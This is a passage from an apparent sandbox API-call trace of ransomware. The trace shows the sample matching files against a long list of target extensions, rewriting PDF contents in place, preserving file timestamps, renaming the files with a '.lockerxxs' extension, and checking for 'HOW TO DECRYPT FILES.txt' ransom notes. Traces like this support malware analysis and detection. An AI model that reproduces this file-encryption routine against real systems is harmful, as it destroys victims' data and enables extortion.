10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.jpeg") returned 0 [0068.944] lstrlenA (lpString="*.jpeg") returned 6 [0068.944] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.jpg") returned 0 [0068.944] lstrlenA (lpString="*.jpg") returned 5 [0068.944] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.png") returned 0 [0068.944] lstrlenA (lpString="*.png") returned 5 [0068.944] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.php") returned 0 [0068.944] lstrlenA (lpString="*.php") returned 5 [0068.944] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.cs") returned 0 [0068.944] lstrlenA (lpString="*.cs") returned 4 [0068.944] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.cpp") returned 0 [0068.944] lstrlenA (lpString="*.cpp") returned 5 [0068.944] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.rar") returned 0 [0068.944] lstrlenA (lpString="*.rar") returned 5 [0068.944] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.zip") returned 0 [0068.944] lstrlenA (lpString="*.zip") returned 5 [0068.945] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.html") returned 0 [0068.945] lstrlenA (lpString="*.html") returned 6 [0068.945] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.htm") returned 0 [0068.945] lstrlenA (lpString="*.htm") returned 5 [0068.945] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.xlsx") returned 0 [0068.945] lstrlenA (lpString="*.xlsx") returned 6 [0068.945] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.xls") returned 0 [0068.945] lstrlenA (lpString="*.xls") returned 5 [0068.945] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.mp4") returned 0 [0068.945] lstrlenA (lpString="*.mp4") returned 5 [0068.945] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.ppt") returned 0 [0068.945] lstrlenA (lpString="*.ppt") returned 5 [0068.945] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.pptx") returned 0 [0068.945] lstrlenA (lpString="*.pptx") returned 6 [0068.945] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.doc") returned 0 [0068.945] lstrlenA (lpString="*.doc") returned 5 [0068.945] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.dot") returned 0 [0068.945] lstrlenA (lpString="*.dot") returned 5 [0068.945] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.docx") returned 0 [0068.945] lstrlenA (lpString="*.docx") returned 6 [0068.945] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.7z") returned 0 [0068.945] lstrlenA (lpString="*.7z") returned 4 [0068.946] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.tar") returned 0 [0068.946] lstrlenA (lpString="*.tar") returned 5 [0068.946] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.bz2") returned 0 [0068.946] lstrlenA (lpString="*.bz2") returned 5 [0068.946] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.gz") returned 0 [0068.946] lstrlenA (lpString="*.gz") returned 4 [0068.946] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.mkv") returned 0 [0068.946] lstrlenA (lpString="*.mkv") returned 5 [0068.946] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.eml") returned 0 [0068.946] lstrlenA (lpString="*.eml") returned 5 [0068.946] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.msg") returned 0 [0068.946] lstrlenA (lpString="*.msg") returned 5 [0068.946] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.edb") returned 0 [0068.946] lstrlenA (lpString="*.edb") returned 5 [0068.946] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.accdb") returned 0 [0068.946] lstrlenA (lpString="*.accdb") returned 7 [0068.946] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.odb") returned 0 [0068.946] lstrlenA (lpString="*.odb") returned 5 [0068.946] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.java") returned 0 [0068.947] lstrlenA (lpString="*.java") returned 6 [0068.947] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.asm") returned 0 [0068.947] lstrlenA (lpString="*.asm") returned 5 [0068.947] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.pfx") returned 0 [0068.947] lstrlenA (lpString="*.pfx") returned 5 [0068.947] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.pem") returned 0 [0068.947] lstrlenA (lpString="*.pem") returned 5 [0068.947] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.p12") returned 0 [0068.947] lstrlenA (lpString="*.p12") returned 5 [0068.947] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.gpg") returned 0 [0068.947] lstrlenA (lpString="*.gpg") returned 5 [0068.947] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.vsd") returned 0 [0068.947] lstrlenA (lpString="*.vsd") returned 5 [0068.947] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.odg") returned 0 [0068.947] lstrlenA (lpString="*.odg") returned 5 [0068.947] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.raw") returned 0 [0068.947] lstrlenA (lpString="*.raw") returned 5 [0068.947] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.nef") returned 0 [0068.947] lstrlenA (lpString="*.nef") returned 5 [0068.948] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.svg") returned 0 [0068.948] lstrlenA (lpString="*.svg") returned 5 [0068.948] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.psd") returned 0 [0068.948] lstrlenA (lpString="*.psd") returned 5 [0068.948] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.vmx") returned 0 [0068.948] lstrlenA (lpString="*.vmx") returned 5 [0068.948] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.vmdk") returned 0 [0068.948] lstrlenA (lpString="*.vmdk") returned 6 [0068.948] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.vdi") returned 0 [0068.948] lstrlenA (lpString="*.vdi") returned 5 [0068.948] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.lay6") returned 0 [0068.948] lstrlenA (lpString="*.lay6") returned 6 [0068.948] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.mpeg") returned 0 [0068.948] lstrlenA (lpString="*.mpeg") returned 6 [0068.948] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.djvu") returned 0 [0068.948] lstrlenA (lpString="*.djvu") returned 6 [0068.948] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.tiff") returned 0 [0068.948] lstrlenA (lpString="*.tiff") returned 6 [0068.948] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.backup") returned 0 [0068.949] lstrlenA (lpString="*.backup") returned 8 [0068.949] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", pszSpec="*.pdf") returned 1 [0068.949] lstrlenA (lpString="*.pdf") returned 5 [0068.949] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf" [0068.949] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf" [0068.949] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf." [0068.949] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf.lockerxxs" [0068.949] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.950] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x161fc [0068.950] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9c36ae00, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x80a04a60, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9c36ae00, dwHighDateTime=0x1cb84b4)) returned 1 [0068.950] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.950] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x161d6, lpOverlapped=0x0) returned 1 [0069.009] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf") returned="AdobeID.pdf" [0069.010] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.010] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x161d6, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x161d6, lpOverlapped=0x0) returned 1 [0069.011] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0069.011] CloseHandle (hObject=0x94) returned 1 [0069.029] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\adobeid.pdf.lockerxxs")) returned 1 [0069.032] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13d46, dwReserved0=0xec0003ef, dwReserved1=0x4e00c4, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0069.032] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0069.032] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DefaultID.pdf") returned 1 [0069.032] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DefaultID.pdf") returned 1 [0069.032] lstrcmpiA (lpString1="", lpString2="DefaultID.pdf") returned -1 [0069.032] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf") returned="AdobeID.pdf" [0069.032] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\" [0069.032] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\") returned="" [0069.032] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\HOW TO DECRYPT FILES.txt" [0069.032] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\how to decrypt files.txt")) returned 0x20 [0069.033] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\", lpString2="DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf" [0069.033] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.ems") returned 0 [0069.033] lstrlenA (lpString="*.ems") returned 5 [0069.033] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.db") returned 0 [0069.033] lstrlenA (lpString="*.db") returned 4 [0069.033] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.dbf") returned 0 [0069.033] lstrlenA (lpString="*.dbf") returned 5 [0069.033] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.myox") returned 0 [0069.033] lstrlenA (lpString="*.myox") returned 6 [0069.033] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.myo") returned 0 [0069.033] lstrlenA (lpString="*.myo") returned 5 [0069.033] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.qbw") returned 0 [0069.033] lstrlenA (lpString="*.qbw") returned 5 [0069.033] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.qbb") returned 0 [0069.033] lstrlenA (lpString="*.qbb") returned 5 [0069.033] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.qbm") returned 0 [0069.033] lstrlenA (lpString="*.qbm") returned 5 [0069.033] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.qbo") returned 0 [0069.033] lstrlenA (lpString="*.qbo") returned 5 [0069.033] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.qbx") returned 0 [0069.033] lstrlenA (lpString="*.qbx") returned 5 [0069.033] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.qba") returned 0 [0069.033] lstrlenA (lpString="*.qba") returned 5 [0069.033] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.qby") returned 0 [0069.033] lstrlenA (lpString="*.qby") returned 5 [0069.033] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.qbj") returned 0 [0069.034] lstrlenA (lpString="*.qbj") returned 5 [0069.034] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.ofx") returned 0 [0069.034] lstrlenA (lpString="*.ofx") returned 5 [0069.034] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.qif") returned 0 [0069.034] lstrlenA (lpString="*.qif") returned 5 [0069.034] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.mye") returned 0 [0069.034] lstrlenA (lpString="*.mye") returned 5 [0069.034] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.mbox") returned 0 [0069.034] lstrlenA (lpString="*.mbox") returned 6 [0069.034] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.eml") returned 0 [0069.034] lstrlenA (lpString="*.eml") returned 5 [0069.034] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.pst") returned 0 [0069.034] lstrlenA (lpString="*.pst") returned 5 [0069.034] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.ost") returned 0 [0069.034] lstrlenA (lpString="*.ost") returned 5 [0069.034] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.idx") returned 0 [0069.034] lstrlenA (lpString="*.idx") returned 5 [0069.034] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.dbx") returned 0 [0069.034] lstrlenA (lpString="*.dbx") returned 5 [0069.034] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.sql") returned 0 [0069.034] lstrlenA (lpString="*.sql") returned 5 [0069.034] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.mdb") returned 0 [0069.034] lstrlenA (lpString="*.mdb") returned 5 [0069.034] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.fdb") returned 0 [0069.034] lstrlenA (lpString="*.fdb") returned 5 [0069.034] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.wab") returned 0 [0069.034] lstrlenA (lpString="*.wab") returned 5 [0069.034] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.dat") returned 0 [0069.034] lstrlenA (lpString="*.dat") returned 5 [0069.035] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.txt") returned 0 [0069.035] lstrlenA (lpString="*.txt") returned 5 [0069.035] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.jpeg") returned 0 [0069.035] lstrlenA (lpString="*.jpeg") returned 6 [0069.035] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.jpg") returned 0 [0069.035] lstrlenA (lpString="*.jpg") returned 5 [0069.035] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.png") returned 0 [0069.035] lstrlenA (lpString="*.png") returned 5 [0069.035] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.php") returned 0 [0069.035] lstrlenA (lpString="*.php") returned 5 [0069.035] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.cs") returned 0 [0069.035] lstrlenA (lpString="*.cs") returned 4 [0069.035] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.cpp") returned 0 [0069.035] lstrlenA (lpString="*.cpp") returned 5 [0069.035] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.rar") returned 0 [0069.035] lstrlenA (lpString="*.rar") returned 5 [0069.035] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.zip") returned 0 [0069.035] lstrlenA (lpString="*.zip") returned 5 [0069.035] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.html") returned 0 [0069.035] lstrlenA (lpString="*.html") returned 6 [0069.035] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.htm") returned 0 [0069.035] lstrlenA (lpString="*.htm") returned 5 [0069.035] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.xlsx") returned 0 [0069.035] lstrlenA (lpString="*.xlsx") returned 6 [0069.035] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.xls") returned 0 [0069.035] lstrlenA (lpString="*.xls") returned 5 [0069.035] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.mp4") returned 0 [0069.035] lstrlenA (lpString="*.mp4") returned 5 [0069.035] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.ppt") returned 0 [0069.035] lstrlenA (lpString="*.ppt") returned 5 [0069.035] 